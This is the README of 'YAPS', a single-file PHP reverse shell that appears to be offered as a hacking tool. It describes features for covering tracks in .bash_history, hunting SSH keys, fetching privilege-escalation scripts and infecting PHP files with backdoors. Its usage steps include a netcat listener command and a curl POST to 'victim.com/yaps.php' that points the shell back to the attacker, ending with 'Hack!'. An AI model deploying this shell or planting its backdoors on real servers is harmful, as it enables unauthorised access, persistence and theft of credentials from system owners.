# YAPS - **Y**et **A**nother **P**HP **S**hell
|
||
|
|
Yeah, I know, I know... But that's it. =)
|
||
|
|
As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (`nc -lp 1337`).
|
||
|
|
In the current version (1.3.1), its main functions support only linux systems, but i'm planning to make it work with Windows too.
|
||
|
|
It's currently in its first version and I haven't tested it much yet, and *there are still many things I intend to do and improve for the next versions (**it's not done yet!**)*, so please let me know if you've found any bugs. =)
|
||
|
|
## Features
|
||
|
|
* Single PHP file (no need to install packages, libs, or download tons of files)
|
||
|
|
* Works with netcat, ncat, socat, multi/handler, almost any listener
|
||
|
|
* Customizable password protection
|
||
|
|
* No logs in .bash_history
|
||
|
|
* Can do some enumeration
|
||
|
|
* Network info (interfaces, iptables rules, active ports)
|
||
|
|
* User info
|
||
|
|
* List SUID and GUID files
|
||
|
|
* Search for SSH keys (public and private)
|
||
|
|
* List crontab
|
||
|
|
* List writable PHP files
|
||
|
|
* Auto download LinPEAS, LinEnum or Linux Exploit Suggester
|
||
|
|
* Write and run PHP code on remote host
|
||
|
|
* (Semi) Stabilize shell
|
||
|
|
* Duplicate connections
|
||
|
|
* Auto update
|
||
|
|
* **[new] Infect PHP files with backdoors**
|
||
|
|
## Cons
|
||
|
|
* Connection isn't encrypted (yet) (nc does not support SSL)
|
||
|
|
* Not fully interactive (although you can spawn an interactive shell with `!stabilize`)
|
||
|
|
* CTRL+C breaks it; can't use arrows to navigate (unless you use `rlwrap nc -lp <ip> <port>`)
|
||
|
|
## Usage
|
||
|
|
1. Set up a TCP listener;
|
||
|
|
2. Set your IP and port. This can be done by:
|
||
|
|
* 2.1 Editing the variables at the start of the script;
|
||
|
|
* 2.2 Setting them via post request (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
|
||
|
|
3. Open yaps.php on browser, curl it or run via CLI;
|
||
|
|
* 3.1 You can set `yaps.php?s` or `yaps.php?silent` to supress the banner
|
||
|
|
* 3.2 You can run via CLI with `php yaps.php ip port`
|
||
|
|
5. Hack!
|
||
|
|
